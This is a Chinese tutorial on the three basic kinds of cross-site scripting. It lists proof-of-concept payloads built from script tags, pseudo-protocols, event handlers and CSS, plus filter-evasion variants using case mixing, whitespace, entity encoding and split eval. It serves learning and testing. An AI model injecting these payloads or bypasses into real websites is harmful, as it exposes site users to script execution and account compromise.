1. 程式人生 > >XSS -- 三種基本漏洞 (淺談)

XSS -- 三種基本漏洞 (淺談)

一、  XSS 漏洞的驗證
        我們可以用一段簡單的程式碼,驗證和檢測漏洞的存在,這樣的程式碼叫做PoC(Proof of Concept)。驗證XSS 漏洞存在的PoC 如下:
              (1)<script>alert(/xss/)</script>       
              (2)<script>confirm('xss')</script>        
              (3)<script>prompt('xss')</script>

二、XSS分類

1. 反射型XSS
        反射型XSS 是非永續性、引數型的跨站指令碼。反射型XSS 的JS 程式碼在Web 應用的引數(變數)中,如搜尋框的反射型XSS。在搜尋框中,提交PoC[<script>alert(/xss/)</script>],點選搜尋,即可觸發反射型XSS。 注意到,我們提交的poc 會出現在search.php 頁面的keywords 引數中。

2.儲存型XSS
        儲存型XSS 是永續性跨站指令碼。永續性體現在XSS 程式碼不是在某個引數(變數)中,而是寫進資料庫或檔案等可以永久儲存資料的介質中。儲存型XSS 通常發生在留言板等地方。我們在留言板位置留言,將惡意程式碼寫進資料庫中。此時,我們只完成了第一步,將惡意程式碼寫入資料庫。因為XSS 使用的JS 程式碼,JS 程式碼的執行環境是瀏覽器,所以需要瀏覽器從伺服器載入惡意的XSS 程式碼,才能真正觸發XSS。此時,需要我們模擬網站後臺管理員的身份,檢視留言。

3.基於DOM的 XSS
       DOM XSS 比較特殊。owasp 關於DOM 型號XSS 的定義是基於DOM 的XSS 是一種XSS 攻擊,其中攻擊的payload由於修改受害者瀏覽器頁面的DOM 樹而執行的。其特殊的地方就是payload 在瀏覽器本地修改DOM 樹而執行, 並不會傳到伺服器上,這也就使得DOM XSS 比較難以檢測。

三、 XSS的構造

1. 利用  [<>]  構造HTML/JS
    在測試頁面 提交[<script>alert(/xss/)</script>]
 
2. 偽協議  ----  可以使用javascript: 偽協議的方式構造XSS
     (1)提交引數[<a href="javascript:alert(/xss/)">touch me!</a>],然後點選超連結,即可觸發XSS。

     (2)也可以使用img 標籤的偽協議,但是這種方法在IE6 下測試成功。[<img src="javascript:alert('xss')">]。

3. 產生事件
     (1) “事件驅動”是一種比較經典的程式設計思想。在網頁中會發生很多事件(比如滑鼠移動,鍵盤輸入等),JS 可以對這些事件進行響應。所以我們可以通過事件觸發JS 函式,觸發XSS。
    (2)事件種類
             windows 事件    對windows 物件觸發的事件
             Form 事件        HTML 表單內的動作觸發事件
             Keyboard 事件    鍵盤按鍵
             Mouse 事件    由滑鼠或類似使用者動作觸發的事件
             Media 事件    由多媒體觸發的事件

     例如,
       [<img src='./smile.jpg' onmouseover='alert(/xss/)'>]這個標籤會引入一個圖片,然後滑鼠懸停在圖片上的時候,會觸發XSS 程式碼。
       單行文字框的鍵盤點選事件,[<input type="text" onkeydown="alert(/xss/)">],當點選鍵盤任意一個按鍵的時候出發。

4. 利用CSS 跨站
    我們也可以利用CSS(層疊樣式指令碼)觸發XSS。但是這種方法比較古老,基本上不適合現在主流的瀏覽器,但是從學習的角度,我們需要了解這種型別的XSS。一下程式碼均在IE6 下測試。
    (1)行內樣式
         [<div style="background-image:url(javascript:alert(/xss/))">]
    (2) 頁內樣式

 [

<style>

div{

background-image:url(javascript:alert(/xss/))

}

</style>

<div>lalalla</div>

]

 


    (3)  外部樣式
[
<link rel="stylesheet" type="text/css" href="http://172.18.1.131/xss.css">
<div>hello<div>
]  

    (4)    expression
[<div style="width:expression(alert(/xss/))">]
 
    (5)   import
    [
    <style>@import 'javascript:alert("xss")';</style>
    ]
 

    [<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]
 
5.  其他標籤以及手法
    我們也可以用其他標籤觸發XSS。
    <svg onload="alert(/xss/)">  

    <input onfocus=alert(/xss/) autofocus>

四、XSS變形

    我們可以構造的XSS 程式碼進行各種變形,以繞過XSS 過濾器的檢測。變形方式主要有以下幾種
1.大小寫轉換
    可以將payload 進行大小寫轉化。如下面兩個例子。   
    <Img sRc='#' Onerror="alert(/xss/)" />
    <a hREf="javaScript:alert(/xss/)">click me</a>

2. 引號的使用
    HTML 語言中對引號的使用不敏感,但是某些過濾函式是“錙銖必較”。
(1)<img src="#" onerror="alert(/xss/)"/>
(2)<img src='#' onerror='alert(/xss/)'/>
(3)<img src=# onerror=alert(/xss/) />

3. [/]代替空格
    可以利用左斜線代替空格
    <Img/sRc='#'/Onerror='alert(/xss/)' />

4. tab 與回車
    我們可以在一些位置新增Tab(水平製表符)和回車符,來繞過關鍵字檢測。
(1)<Img/sRc='#'/Onerror    ='alert(/xss/)' />
(2)<A hREf="j    avascript:alert(/xss/)">click me!</a>
<A hREf="j
avascript:alert(/xss/)">click me!</a>

5. 對標籤屬性值進行轉碼     -----   可以對標籤屬性值進行轉碼,用來繞過過濾。
   例

    (1)對應編碼如下:
         字母    ASCII 碼    十進位制編碼    十六進位制編碼
            a        97            &#97;        &#x61;
            e        101            &#101;        &#x65;

      經過簡單編碼之後的樣子。
            <A hREf="j    &#97;v&#x61;script:alert(/xss/)">click me!</a>

    (2) 我們可以將以下字元插入到任意位置
            Tab        &#9    
            換行    &#10
            回車    &#13

    可以將以下字元插入到頭部位置
             SOH        &#01
             STX        &#02
                    
       經過編碼後的樣子。
           <A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
             click me!
           </a>

6.  拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

<script>alert(/xss/)</script>